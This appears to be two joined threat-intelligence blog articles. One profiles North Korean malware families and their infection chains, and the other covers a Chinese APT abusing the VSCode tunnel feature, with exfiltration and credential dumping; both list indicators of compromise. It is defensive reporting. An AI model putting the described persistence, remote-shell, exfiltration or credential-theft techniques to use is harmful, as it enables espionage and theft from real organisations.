MacOS Malware

RustBucket

Malware type: Backdoor

Group affiliation: Alluring Pisces

First seen: 2023

OS type: macOS

Description:

RustBucket is macOS malware first reported in 2023. Since then, multiple variants of the malware have been observed in the wild. Most RustBucket infections are composed of three stages.

The first stage usually is an AppleScript file contained inside an application or inside a ZIP archive masquerading as a legitimate file. This AppleScript file is responsible for retrieving the second stage downloader.

The second stage downloader masquerades as a PDF viewer application. Some variants of this second stage downloader are written in Swift, while others are written in Objective-C.

The third stage is the final payload retrieved by the second stage downloader. Figure 2 shows an alert from Cortex XDR that blocks a RustBucket sample from downloading the next stage of malware.

A screenshot showing a user interface with two panels in Cortex XDR. The left panel displays technical information. The right panel presents the alert information. There is an overlaid screenshot of a section of code.
Figure 2. Cortex XDR alert on preventing RustBucket download activity.

The third stage payloads are Mach-O binaries written in Rust, hence the name RustBucket. Later variants of stage three employ persistence via a LaunchAgent, a feature that did not exist in older variants. Stage three has two main commands:

  • Download and execute a file
  • Self-terminate the malware

KANDYKORN

Malware type: Backdoor

Group affiliation: Alluring Pisces

First seen: 2023

OS type: macOS

Description:

First discovered in 2023, KANDYKORN is the payload of a five-stage infection chain targeting macOS systems. Known infections of KANDYKORN start with social engineering, tricking the victim into downloading a malicious ZIP archive containing a malicious Python script. If the victim executes the Python file, it downloads stage two of the infection, which is a second Python script that is saved into a folder named _log.

The second stage of the infection involves two additional Python scripts. The first Python script saved to the _log directory downloads another script saved to the /Users/Shared/ directory, which in turn downloads a stage three file, saving it as /Users/shared/.sld.

Stage three of the infection is a downloader and loader dubbed SUGARLOADER. For persistence, SUGARLOADER saves itself as /Users/shared/.log.

Upon execution, SUGARLOADER checks for the existence of a configuration file at /Library/Caches/com.apple.safari.ck. If that configuration file is missing, SUGARLOADER downloads it using a default IP address provided in the command line.

The configuration file at /Library/Caches/com.apple.safari.ck contains the location to download the next stage from. In Figure 3, we see part of a Cortex XDR alert that reveals the installation of this configuration file.

Cortex XDR logs. Screenshot showing two rows in a table. The first row is File Create and the second is File Write.
Figure 3. Section of a Cortex XDR alert revealing SUGARLOADER installing its configuration file.

Cortex XDR detects SUGARLOADER installing its configuration file and alerts on staged malware activity as shown below in Figure 4.

Security alert from Cortex XDR Agent indicating Staged Malware Activity with reference number, related to Sugarloader configuration file installation.
Figure 4. Staged malware activity alert in Cortex XDR for SUGARLOADER.

After installing its configuration file, SUGARLOADER downloads a malware binary for HLOADER.

HLOADER functions as the persistence mechanism for KANDYKORN. HLOADER attempts to masquerade as Discord by replacing the legitimate application and renaming itself Discord. Figure 5 shows the Cortex XDR preventing this name change by HLOADER.

Graphic showing a high severity alert for malware in Cortex XDR. The alert action is 'Prevented (Blocked)' and is represented by a pink circle and a shield inside a triangle warning symbol.
Figure 5. Alert from Cortex XDR preventing HLOADER from naming itself Discord for persistence.

If the legitimate Discord application already exists on the victim's host, HLOADER will rename the legitimate Discord file to a different name, so it can take over the Discord file name. Figure 6 shows two actions from a Cortex XDR alert where HLOADER renamed the legitimate Discord app to a new name (the bottom file event). It then renamed itself to take the place of the legitimate Discord file (the top file event).

Screenshot of a file event log from Cortex XDR showing details of file events, including file name, description, and associated categories.
Figure 6. File events from a Cortex XDR alert showing HLOADER renaming itself and the legitimate Discord file.

Because Discord usually boots with the operating system, if this file renaming is successful, HLOADER will run instead of the legitimate Discord application upon booting or rebooting. If Discord is already installed on the victim's system, HLOADER will also execute the newly renamed legitimate Discord application when booting or rebooting.

In the final stage of the attack, SUGARLOADER downloads KANDYKORN and loads it into memory by using reflective loading. KANDYKORN is the final payload and possesses several capabilities, including information gathering, data exfiltration and arbitrary command execution.

SmoothOperator

Malware type: Backdoor

Group affiliation: Undetermined, under RGB

First seen: 2023

OS type: macOS

Description:

In the beginning of 2023, multiple vendors discovered Trojanized macOS installers for the legitimate 3CX client application known as 3CXDesktopApp. These Trojanized installers contained multi-staged malware called SmoothOperator.

SmoothOperator can execute payloads and extract data related to 3CX from infected hosts. It is written in Objective-C and targets 64-bit Intel-based macOS users.

The Trojanized component of SmoothOperator inside the 3CXDesktopApp application is a module called libffmpeg.dylib, which is a legitimate dependency that appears to have been altered or tampered with by the threat actors. The main purpose of this tampered libffmpeg.dylib file is to collect the infected device’s environment information and to deliver additional payloads.

When downloading an additional payload, the module writes the payload into a file named UpdateAgent and executes it. Below, Figure 7 shows disassembled code from a tampered libffmpeg.dylib file related to saving the follow-up payload as UpdateAgent.

Screenshot of computer code in an editor with syntax highlighting, featuring functions related to file operations.
Figure 7. Code snippet from libffmpeg.dylib showing how it writes data and changes permission for the UpdateAgent file.

UpdateAgent collects the victim's 3CX account information, then it removes itself. The relatively limited capabilities of UpdateAgent likely prevent it from deploying a wide variety of payloads, and we have only noted SmoothOperator as the final payload from this infection chain. Figure 8 shows a Cortex XDR alert detecting a 3CX desktop app for SmoothOperator.

Screenshot showing a security alert titled 'Staged Malware Activity - 1698486237' with a source indicated as 'XDR Agent.' It details a Trojanized version of the 3CX Desktop App. Icons for security, stars for rating, investigative tools, and settings are visible.
Figure 8. Alert from Cortex XDR detecting a Trojanized version of the 3CX desktop app.

ObjCShellz

Malware type: Backdoor

Group affiliation: Alluring Pisces

First seen: 2023

OS type: macOS

Description:

ObjCShellz is a relatively simple backdoor Jamf Threat Labs discovered and named in November 2023. It serves as a remote shell and allows an attacker to execute arbitrary commands. Attackers reportedly deliver ObjCShellz as a second stage payload to an already compromised system.

Like other macOS malware, ObjCShellz is written in Objective-C. Jamf Threat Labs reported attackers using it as a part of the RustBucket campaign. Figure 9 below shows a Cortex XDR alert detecting a sample of ObjCShellz.

A security alert interface in Cortex XDR showing a high severity malware activity detected. The central pink button labeled with 'ObjCShell' has the number 1, indicating one issue reported, and to the right, a smaller blue button labeled 'sh'.
Figure 9. Cortex XDR alert detecting ObjCShellz activity.

Fullhouse

Malware type: Backdoor

Group affiliation: Slow Pisces

First seen: 2023

OS type: macOS

Description:

Reported by Mandiant in 2023, Fullhouse is an HTTP backdoor written in C/C++, and it was seen as a part of a supply chain attack. Delivered as a first-stage backdoor, Fullhouse supports the execution of arbitrary commands and in turn delivers other second-stage backdoors.

Disassembled code from a Fullhouse sample reveals some unimplemented functions, such as MyFunctionStealthCodeArea, shown in Figure 10. Parts of this code also retrieve the shell environment variable, noted in the line containing getenv("SHELL").

Screenshot of computer code in a text editor with highlighted syntax. Specific functions like MyFunctionStealthCodeArea are displayed, along with system command execution for launching a shell.
Figure 10. Fullhouse code snippet showing unimplemented functions.

Below, Figure 11 shows a Cortex XDR alert blocking Fullhouse activity.

Alert message from Cortex XDR reporting a blocked malicious activity attempt, with details including OS version, file path, and source process information.
Figure 11. Fullhouse malware prevented by Cortex XDR.

Multi-Platform Malware

POOLRAT

Malware type: Backdoor

Group affiliation: Gleaming Pisces

First seen: 2021

OS type: macOS and Linux

Description:

POOLRAT is a macOS and Linux backdoor first reported by CISA in 2021 as a file named prtspool, likely the final payload in an AppleJeus attack. Mandiant named this malware family POOLRAT and identified a newer sample in its analysis of the 2023 3CX supply chain attack.

Cortex XDR detects and blocks POOLRAT as shown below in Figure 12.

Interface of Cortex XDR with a warning icon triangle. Details, including the alert name "Category Blocked" and description "Malware," show that 'prtspool' was blocked. Various tabs like 'XDR Agent Source,' 'WildFire,' and others are visible.
Figure 12. Alert showing Cortex XDR detecting and blocking a POOLRAT sample.

PondRAT

Malware type: Remote Administration Tool (RAT)

Group affiliation: Gleaming Pisces

First seen: 2021

OS type: macOS and Linux

Description:

PondRAT is the name we use for a RAT family with variants for Linux and macOS. CISA reported the earliest sample we identify as PondRAT as part of a cryptocurrency-themed Kupay Wallet macOS malware package during an AppleJeus campaign in 2021.

Analysis of malicious packages uploaded to the Python Package Index (PyPI) in February 2024 revealed another sample we identify as PondRAT. Since it first appeared in 2021, we have identified seven macOS or Linux samples as PondRAT. The Indicators of Compromise section of this article has further details.

Figure 13 depicts an alert from Cortex XDR detecting and blocking a PoolRAT sample.

Alert details interface in Cortex XDR showing the prevention of malware threat 'PondRAT'. The visual includes a round pink icon with a triangular warning sign above it. Categories list out other identifying information.
Figure 13. Cortex XDR Agent alerting to a blocked PondRAT Linux sample.

Linux Malware

OdicLoader

Malware type: Downloader

Group affiliation: Selective Pisces

First seen: 2023

OS type: Linux

Description:

OdicLoader is an ELF downloader that masquerades as a PDF file by using the U+2024 Unicode character (hexadecimal 0xE2 0x80 0xA4) instead of a period (hexadecimal 0x2e) with a pdf file extension. This technique can deceive the file manager in a graphical Linux environment, causing the fake PDF file to execute as an ELF when double-clicked instead of opening with a PDF viewer.

When executed, OdicLoader opens a decoy PDF with the system's default PDF viewer using xdg-open, then it downloads and executes the next stage payload.

ESET reported OdicLoader as part of a North Korean threat campaign named Operation DreamJob. Figure 14 below shows a Cortex XDR alert detecting OdicLoader.

Screenshot of a Cortex XDR interface showing details of a potential malware file named 'odicloader.elf' with a visual warning symbol in pink and light grey colors.
Figure 14. Cortex XDR alert on OdicLoader execution.

Windows Malware

Comebacker

Malware type: Backdoor and downloader

Group affiliation: Selective Pisces

First seen: 2020

OS type: Windows

Description:

Attackers originally used Comebacker malware as part of a campaign targeting security researchers in 2020. Like PondRAT, attackers have also distributed Comebacker as malicious packages to PyPI.

Comebacker communicates with its command and control (C2) server by sending randomly generated parameter names through HTTP POST requests. During the initial connection, the client exchanges keys with the server and sends the current local time. The server then responds with multiple values, including the encrypted payload, execution instructions and an MD5 hash to verify the authenticity of the payload.

Figure 15 shows a prevention alert from Cortex XDR blocking a Comebacker sample.

Alert window titled 'Cortex XDR Prevention Alert' stating that a malicious activity has been blocked. The alert is linked to an application called 'RunDll32' from Microsoft Corporation. Buttons for 'Hide details' and 'OK' are present, and the window includes additional details about the application and prevention description.
Figure 15. Alert from Cortex XDR blocking Comebacker malware.

CollectionRAT

Malware type: Remote Administration Tool (RAT)

Group affiliation: Jumpy Pisces

First seen: 2023

OS type: Windows

Description:

CollectionRAT is a Windows-based RAT first announced by a Cisco Talos report in 2023 that lists samples dating as early as 2021. This malware communicates with its C2 server over HTTP and uses the Microsoft Foundation Class (MFC) library as a wrapper to decrypt its malicious code.

When executed on a vulnerable host, CollectionRAT first collects system information to fingerprint the victim's environment and sends it to the C2 server. The server responds with commands for the malware that provide the attacker a wide range of capabilities.

These capabilities include:

  • Manipulating processes and files
  • Executing arbitrary commands
  • Exfiltrating data
  • Downloading and executing additional payloads
  • Removing itself from an infected host upon instruction from the C2 server

Figure 16 below shows Cortex XDR blocking a CollectionRAT sample.

Alert window titled "Cortex XDR Prevention Alert" displays a message that Cortex XDR has blocked a malicious activity. Buttons for "Show details" and "OK" are provided at the bottom. There is a reminder to contact the help desk for questions or additional information.
Figure 16. Cortex XDR blocking a CollectionRAT sample.

Conclusion

North Korean groups have been documented targeting various sectors worldwide, using a wide range of custom-built malware. In this article, we examined the top 10 malware families from North Korean threat groups and demonstrated how Palo Alto Networks Cortex XDR detects and prevents these threats.

Due to the severity of the risks posed by North Korean threat actors, we encourage organizations to prioritize comprehensive security strategies and invest in multi-layer security measurements. This helps safeguard against the growing threat from these types of state-sponsored threat groups.

Protections and Mitigations

Palo Alto Networks customers receive better protections against the arsenal of malware related to the DPRK threat groups described in this article.

We have implemented prevention and detection alerts for each type of malware: RustBucket, KANDYKORN, SmoothOperator, ObjCShellz, Fullhouse, POOLRAT, PondRAT, OdicLoader, Comebacker and CollectionRAT.

For Palo Alto Networks customers, our products and services provide the following coverage associated with this group include Cortex XDR and XSIAM. Cortex XDR detects user and credential-based threats by analyzing user activity from multiple data sources including the following:

  • Endpoints
  • Network firewalls
  • Active Directory
  • Identity and access management solutions
  • Cloud workloads

Cortex XDR, Prisma Cloud and XSIAM build behavioral profiles of user activity over time with machine learning. By comparing new activity to past activity, peer activity and the expected behavior of the entity, we can detect anomalous activity indicative of credential-based attacks. Prisma Cloud leverages the power of XSIAM through the Cloud Security Agent (CSA) ensuring that your cloud endpoints are better protected from novel malware.

This combination of services also offers the following protections related to the attacks discussed in this post:

  • Prevents the execution of known malicious malware and also prevents the execution of unknown malware using Behavioral Threat Protection machine learning based on the Local Analysis module
  • Protects against credential gathering tools and techniques using the new Credential Gathering Protection available from Cortex XDR
  • Protects from threat actors dropping and executing commands from web shells using Anti-Webshell Protection, newly released in Cortex XDR
  • Protects against exploitation of different vulnerabilities including ProxyShell and ProxyLogon using the Anti-Exploitation modules as well as Behavioral Threat Protection
  • Cortex XDR Pro detects post exploitation activity, including credential-based attacks, with behavioral analytics

Advanced WildFire cloud-delivered malware analysis service accurately identifies the known samples as malicious. Advanced URL Filtering and Advanced DNS Security identify known URLs and domains associated with this activity as malicious.

If you think you might have been impacted or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Additional Resources

Indicators of Compromise

RustBucket

SHA256 hashes:

  • c9a7b42c7b29ca948160f95f017e9e9ae781f3b981ecf6edbac943e52c63ffc8
  • c7f4aa77be7f7afe9d0665d3e705dbf7794bc479bb9c44488c7bf4169f8d14fe

SUGARLOADER

SHA256 hash:

  • 3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940

IP address:

  • 23.254.226[.]90

HLOADER

SHA256 hashes:

  • 2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1
  • 689cfaa9319f3f7529a31472ecf6b2e0ca6891b736de009e0b6c2ebac958cc94
  • c6a48365c3db9761bd60981bdcdd87aced23d8e60067caa30fee501bf4b47b84
  • a03d13c9825e150810e6e6aaf053d71ec5a53b86581414dd982a74d4a8bc5475

KANDYKORN

SHA256 hash:

  • 927b3564c1cf884d2a05e1d7bd24362ce8563a1e9b85be776190ab7f8af192f6

SmoothOperator

Malicious 3CX DMG

SHA256 hash:

  • e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec

libffmpeg.dy

SHA256 hashes:

  • a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67
  • 479038eb12ed07893ee0dcc04fbdcf182489bbb271f5a4f90f83874881a80ce3
  • 2546d239a262c24a6f8ea01d890cbc459a22db79b379b6ec3b24fbb56efb5381
  • 5009c7d1590c1f8c05827122172583ddf924c53b55a46826abf66da46725505a
  • 87c5d0c93b80acf61d24e7aaf0faae231ab507ca45483ad3d441b5d1acebc43c
  • 99dbc6fe3c3e465052fcefa1642861747dc9e069eeb244589b605bd710b1e0d1
  • fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7
  • 7667d1b8fcc4f712084e3e3f8b4ab505ab150c52aea7b219249ec508b4b0e224

UpdateAgent

SHA256 hash:

  • 6c121f2b2efa6592c2c22b29218157ec9e63f385e7a1d7425857d603ddef8c59

Domains:

  • msstorageazure[.]com
  • officestoragebox[.]com
  • visualstudiofactory[.]com
  • azuredeploystore[.]com
  • msstorageboxes[.]com
  • officeaddons[.]com
  • sourceslabs[.]com
  • zacharryblogs[.]com
  • pbxcloudeservices[.]com
  • pbxphonenetwork[.]com
  • akamaitechcloudservices[.]com
  • azureonlinestorage[.]com
  • msedgepackageinfo[.]com
  • glcloudservice[.]com
  • pbxsources[.]com
  • sbmsa[.]wiki

ObjCShellz

SHA256 hashes:

  • 8bfa4fe0534c0062393b6a2597c3491f7df3bf2eabfe06544c53bdf1f38db6d4
  • 15d53bb839e00405a34a8b690ec181f5555fc4f891b8248ae7fa72bad28315a9
  • f1713afaf5958bdf3e975ebbab8245a98a84e03f8ce52175ef1568de208116e0

Domain:

  • swissborg[.]blog

Fullhouse Backdoor

SHA256 hash:

  • 081804b491c70bfa63ecdbe9fd4618d3570706ad8b71dba13e234069648e5e48

Domains:

  • contortonset[.]com
  • relysudden[.]com
  • primerosauxiliosperu[.]com
  • rentedpushy[.]com
  • basketsalute[.]com
  • prontoposer[.]com

IP addresses:

  • 146.19.173[.]125
  • 23.227.202[.]54
  • 38.132.124[.]88
  • 88.119.174[.]148
  • 198.244.135[.]250

POOLRAT

SHA256 hashes:

  • f3b0da965a4050ab00fce727bb31e0f889a9c05d68d777a8068cfc15a71d3703
  • 5c907b722c53a5be256dc5f96b755bc9e0b032cc30973a52d984d4174bace456
  • 5e40d106977017b1ed235419b1e59ff090e1f43ac57da1bb5d80d66ae53b1df8

URLs:

  • www.talesseries[.]com/write.php
  • rgedist[.]com/sfxl.php

Domains:

  • airbseeker[.]com
  • globalkeystroke[.]com
  • globalkeystroke[.]com

PondRAT

SHA256 hashes:

  • 973f7939ea03fd2c9663dafc21bb968f56ed1b9a56b0284acf73c3ee141c053c
  • 0b5db31e47b0dccfdec46e74c0e70c6a1684768dbacc9eacbb4fd2ef851994c7
  • 3c8dbfcbb4fccbaf924f9a650a04cb4715f4a58d51ef49cc75bfcef0ac258a3e
  • bce1eb513aaac344b5b8f7a9ba9c9e36fc89926d327ee5cc095fb4a895a12f80
  • bfd74b4a1b413fa785a49ca4a9c0594441a3e01983fc7f86125376fdbd4acf6b
  • cbf4cfa2d3c3fb04fe349161e051a8cf9b6a29f8af0c3d93db953e5b5dc39c86
  • 91eaf215be336eae983d069de16630cc3580e222c427f785e0da312d0692d0fd

Domains:

  • jdkgradle[.]com
  • rebelthumb[.]net
  • levelframeblog[.]com

OdicLoader

SHA256 hashes:

  • c83c7b000a955f2b8cb92bb112ed606ffd9fbebbe3422f80d90d06b167f2f37b
  • 492a643bd1efdaca4ca125ade1b606e7bbf00e995ac9115ac84d1c4c59cb66dd

Comebacker

SHA256 hash:

  • 63fb47c3b4693409ebadf8a5179141af5cf45a46d1e98e5f763ca0d7d64fb17c

CollectionRAT

SHA256 hashes:

  • db6a9934570fa98a93a979e7e0e218e0c9710e5a787b18c6948f2eedd9338984
  • d8565d58ad8e4f5558b5cd70df0ad12be9cf44e32ad07aaac6f65b816edbf414

Updated Sept. 11, 2024, at 11:55 a.m. PT for clarifying language on which threat groups this piece covers.

Chinese APT Abuses VSCode to Target Government in Asia

Executive Summary

Unit 42 researchers recently found that Stately Taurus abused the popular Visual Studio Code software in espionage operations targeting government entities in Southeast Asia. Stately Taurus is a Chinese advanced persistent threat (APT) group that carries out cyberespionage attacks.

This threat actor used Visual Studio Code’s embedded reverse shell feature to gain a foothold in target networks. This is a relatively new technique that a security researcher discovered in 2023. According to our telemetry, this is the first time a threat actor used it in the wild.

We assess that this campaign is a direct continuation of a previously reported campaign that we attributed with moderate-high confidence to Stately Taurus. We come to this conclusion based on consideration of the TTPs, timeline and victimology targeting government entities in Southeast Asia.

We will also discuss a connection between the Stately Taurus activity and a second cluster of activity occurring simultaneously in the same targeted environment that leveraged the ShadowPad backdoor.

Palo Alto Networks customers receive better protection against threats discussed in this article through the following products and services, which we detail further in the Conclusion section:

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics China, DLL Sideloading

The Rare Use of Visual Studio Code Abuse

One of the novel techniques Stately Taurus used to bypass security protections leverages Visual Studio Code’s embedded reverse shell feature to execute arbitrary code and deliver additional payloads. Truvis Thornton described this technique in a Medium post in September 2023, but this is the first time we’ve observed threat actors abusing this technique in the wild.

To abuse Visual Studio Code for malicious purposes, an attacker can use the portable version of code.exe (the executable file for Visual Studio Code), or an already installed version of the software. By running the command code.exe tunnel, an attacker receives a link that requires them to log into GitHub with their own account.

After logging in, the attacker is redirected to a Visual Studio Code web environment that is connected to the compromised machine. They are then permitted to execute commands and scripts, and to create new files on the infected machine.

Stately Taurus used this technique to deliver malware to infected environments, perform reconnaissance and exfiltrate sensitive data. To establish constant access to the reverse shell, the attacker created persistence for a script named startcode.bat using a scheduled task that is responsible for starting the shell.

Figure 1 shows the process tree for code.exe abuse in Cortex XDR.

Flowchart showing a sequence of executable files in Cortex XDR. The process starts with an EXE file, leading through various nodes. Each file is connected by blue lines indicating the flow of processes.
Figure 1. Process tree of the code.exe abuse in Cortex XDR.

The Connection to Stately Taurus

In September 2023, we discussed a campaign that was attributed to Stately Taurus, which leveraged the ToneShell backdoor as one of its main tools. During this campaign, Stately Taurus used ToneShell to archive files for exfiltration, protecting the RAR archives with a unique password.

The password was 13 characters long, using upper and lower case letters as well as digits. By tracking this unique password in our telemetry, we were able to find additional Stately Taurus activity in the same targeted environment.

We concluded that this campaign is a continuation of the Stately Taurus activity we reported in this campaign due to the following factors:

  • The use of the same unique password
  • Additional TTPs
  • Timeline
  • Victimology targeting governmental entities in Southeast Asia

Figure 2 presents the connections between the components of Stately Taurus.

A flowchart comparing two attack campaigns. On top is the previous campaign using ToneShell by Stately Taurus with a unique password. This unique password was used in a current campaign that also utilized the same unique password. Other elements of the current campaign include a BAT file, abuse of VSCode and an EXE file. Logo lockup for Palo Alto Networks and Unit 42.
Figure 2. Connections between different components of the campaign and the unique Stately Taurus password.

Stately Taurus (aka Mustang Panda, BRONZE PRESIDENT, RedDelta, Luminous Moth, Earth Preta and Camaro Dragon) has been operating since at least 2012. Stately Taurus is a Chinese APT group that routinely conducts cyberespionage campaigns targeting government entities, as well as religious and other nongovernmental organizations across Europe and Asia.

Additional TTPs Related to the Stately Taurus Cluster

  • Sshd.exe: The attacker used OpenSSH (sshd.exe) to execute commands, transfer files and spread across the environment as shown in Figure 3. OpenSSH allows the user to connect to a remote machine via SSH.
Diagram in Cortex XDR. Shows sshd.exe process on two devices connected via port 445 with an alert symbol indicating unusual SMB Traffic from a non-standard process. Descriptive text notes sshd.exe communicating over port 445. Some of the information is redacted.
Figure 3. Sshd.exe used for lateral movement shown in Cortex XDR.
  • SharpNBTScan: The attackers used SharpNBTScan (renamed as win1.exe) to perform scanning in the environment
  • Listeners.bat: On some occasions the attackers used a batch file named Listeners.bat to archive files for exfiltration

Exfiltration

As part of this operation, Stately Taurus attempted to exfiltrate sensitive information from different machines. The attacker executed rar.exe remotely via SMB. Next, they tried to iterate and archive all drives from A-Z on remote machines, as shown in Figure 4.

Flowchart in Cortex XDR. Some of the information is redacted. The process tree ends in several RAR files.
Figure 4. Attacker uses code.exe to archive folders from remote machines shown in Cortex XDR.

To exfiltrate the archived files, the attacker used curl to upload the files to Dropbox, which is a legitimate file hosting service. The attacker used this service to blend in and exfiltrate the data without drawing too much attention.

Stately Taurus used the same technique previously, as described in our previous article. Figure 5 below shows the command line the attacker used for exfiltration.

Image displaying a line of code example for using cURL to upload a file to Dropbox.
Figure 5. Data exfiltration using Dropbox.

The Connection to a ShadowPad Activity

While investigating the Stately Taurus cluster, we observed another cluster of activity in the same environment, occurring simultaneously and at times even on the same endpoints. This cluster of activity used the ShadowPad backdoor as its main tool, from which attackers launched other activity. ShadowPad is modular malware that has been in use by multiple Chinese threat actors since at least 2017.

The connection between these two clusters includes the following overlap:

  • Following the origins of Listeners.bat (used in the Stately Taurus cluster) on an infected machine, we observed that the same network session that wrote Listeners.bat, wrote additional files and malware including the ShadowPad backdoor.
  • Listeners.bat also used the same unique password that the ToneShell backdoor from the Stately Taurus cluster used. Figure 6 depicts this connection.
Diagram of a network session showing data exchange between Host A and Host B, involving files written from Host A to Host B on the same network session. Highlighted are entities 'Listeners.Taurus Cluster' and 'ShadowPad' corresponding to the files exchanged. Includes logos for Palo Alto Networks and UNIT 42 at the bottom.
Figure 6. The observed connection between Listener.bat of Stately Taurus and ShadowPad.

As of mid-August 2024, it is unclear whether these two clusters originated from the same threat actor. The fact that the two files originated from the same network session might indicate a connection between the ShadowPad activity to the VSCode activity linked to Stately Taurus.

There could also be other possible scenarios to explain this connection. For example, it could be a joint effort between two Chinese APT groups or perhaps two different groups piggybacking on each other’s access.

The ShadowPad Activity

One of the main tools used in this cluster is the ShadowPad backdoor.

In the cluster described in this section, the attacker abused the legitimate process imecmnt.exe via DLL sideloading to load the ShadowPad module (imjp14k.dll). Imecmnt.exe is a Microsoft Office Input Method Editor (IME) component.

To keep ShadowPad running on victim machines, the attacker created persistence via a service. These service names are listed in the Indicators of Compromise section below.

Figure 7 shows how ShadowPad (imecmnt.exe renamed as update.exe to appear less suspicious) spawns and injects code into wmplayer.exe, which in turn spawns and injects code into dllhost.exe.

Flowchart image displaying three processes. The boxes include descriptions and additional details like alert names and tags. A box displays the product, description and original name.
Figure 7. ShadowPad infection in Cortex XDR.

Further TTPs related to the ShadowPad activity can be found in the Appendix section of the blog.

Conclusion

In this follow-up post, we shared new TTPs the Stately Taurus APT group used in an espionage campaign that targeted government entities in Southeast Asia. One of the most noteworthy techniques that we observed in this campaign is the abuse of Visual Studio Code for executing malicious code and gaining a foothold in the infected environment. According to our telemetry, this is the first time attackers have used this technique in the wild.

In addition, we examined a connection we encountered between the Stately Taurus activity cluster and another cluster that used the ShadowPad backdoor in the same environment. As of mid-August 2024, the connection between these two clusters remains uncertain.

Based on the forensic evidence and timeline, one could conclude that these two clusters originated from the same threat actor (Stately Taurus). However, there could be other possible explanations that can account for this connection, such as a collaborative effort between two Chinese APT threat actors.

We encourage organizations to leverage our findings to inform the deployment of protective measures to defend against this threat group.

Protections and Mitigations

For Palo Alto Networks customers, our products and services provide the following coverage associated with this group:

  • Advanced WildFire cloud-delivered malware analysis service accurately identifies the known samples as malicious.
  • Advanced URL Filtering and Advanced DNS Security identify IP addresses associated with this group as malicious.
  • Cortex XDR and XSIAM are designed to:
    • Prevent the execution of known malicious malware and prevent the execution of unknown malware using Behavioral Threat Protection as well as machine learning based on the Local Analysis module.
    • Protect against credential gathering tools and techniques using the new Credential Gathering Protection available from Cortex XDR 3.4.
    • Protect from threat actors dropping and executing commands from web shells using Anti-Webshell Protection, newly released in Cortex XDR 3.4.
    • Protect against exploitation of different vulnerabilities including ProxyShell and ProxyLogon using the Anti-Exploitation modules as well as Behavioral Threat Protection.
    • Detect post-exploit activity, including credential-based attacks, with behavioral analytics, through Cortex XDR Pro.
  • Prisma Cloud Compute and Advanced WildFire integration can help detect and prevent malicious execution of the malware within Windows-based VM, container and serverless cloud infrastructure.

If you think you might have been impacted or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Indicators of Compromise


Stately Taurus Cluster

SharpNBTScan

  • 506fc87c8c96fef1d2df24b0ba44c8116a9001ca5a7d7e9c01dc3940a664acb0

Listeners.bat

  • aa2c0de121ae738ce44727456d97434faff21fc69219e964e1e2d2f1ca16b1c5
  • 8fdac78183ff18de0c07b10e8d787326691d7fb1f63b3383471312b74918c39f
  • 39ceb73bcfd1f674a9b72a03476a9de997867353172c2bf6dde981c5b3ad512a

Shadowpad Cluster


ShadowPad

  • 0f11b6dd8ff972a2f8cb7798b1a0a8cd10afadcea201541c93ef0ab9b141c184
  • 456e4dae82a12bcda0506a750eac93bf79cc056b8aad09ec74878c90fd67bd8f
  • bdadcd2842ed7ba8a21df7910a0acc15f8b0ca9d0b91bebb49f09a906ae217e6

ShadowPad C2

  • 216.83.40[.]84

ShadowPad Service Names

  • WindowsMailServices
  • test12
  • WindowsEdgeUpdateServices
  • WindowsMailServices
  • Javaservice
  • WindowsEdgeUpdateServices

Mimikatz

  • ac34e1fb4288f8ad996b821c89b8cd82a61ed02f629b60fff9eb050aaf49fc31

In-Swor

  • 440e7bce4760b367b46754a70f480941a38cd6cd4c00c56bbaeb80b9c149afb1
  • 5bfc45f7fce27d05e753a61dde5fab623efff3e4df56fb6a0cf178a0b11909ce
  • fb0c4db0011ee19742d7d8bd0558d8ee8be2ef23c4c61a3e80a34fba6c96f3ff
  • 965dd0b255f05ff012d2f152e973e09ceb9e95b6239dc820c8ac4d4492255472

Lsass-dump-main

  • acedfe9c662c2666787cbbf8d3a0225863bab2c239777594b003381244ed81ba

Tscan

  • cca63c929f2f59894ea2204408f67fc1bff774bb7164fde7f42d0111df9461bd

LaZagne

  • 3cc5ee93a9ba1fc57389705283b760c8bd61f35e9398bbfa3210e2becf6d4b05

ShadowPad Cluster Attacker C2

  • 185.132.125[.]72

Appendix: Further Activity Related to ShadowPad

The threat actor used the following tools to perform reconnaissance in victim environments:

  • Tscan: The attacker used a variation of the open-source tool fscan, which they named Tscan. Tscan’s capabilities include scanning, password spraying and command execution.

Figure 8 shows the Tscan banner and help menu, and Figure 9 shows Tscan (ts.exe) being detected for performing a port scan.

A screenshot displaying the network scanning tool version information for Tscan. The text includes options and parameters for various functions such as thread count, cookie string, and debugging settings among others.
Figure 8. Tscan banner and help menu snippet.
A network diagram in Cortex XDR. Two alerts are depicted with some redacted information.
Figure 9. Tscan detected for performing a port scan in Cortex XDR.
  • ADExplorer64.exe: The attacker attempted to use the utility AD Explorer on the victim’s Active Directory. This tool allows its user to easily query an Active Directory database.

Credential Theft

The attacker attempted to use different methods to dump credentials. The following is a list of each method:

  • In-Swor: The attacker attempted to use an open-source tool named In-Swor to execute Mimikatz, as shown in Figure 10. In-Swor appears to have a Chinese-speaking author and it is described as a penetration tool meant to bypass antivirus products.

According to the tool’s GitHub page, the current modules that are available for the tool include: mimikatz, frpc, bypassuac, elevation, killAV and fscan.

Diagram showing a cybersecurity alert in Cortex XDR. Two executable files, cmd.exe and wk.exe, are connected by a line, illustrating an intervention. The severity is high, and the action taken is 'Prevented (Blocked)' against a potential Mimikatz attack.
Figure 10. In-Swor (wk.exe) prevented attempting to load Mimikatz in Cortex XDR.
  • Mimikatz: The attacker attempted to dump credentials from memory using the known credential-harvesting tool MimiKatz (named setup1.exe)
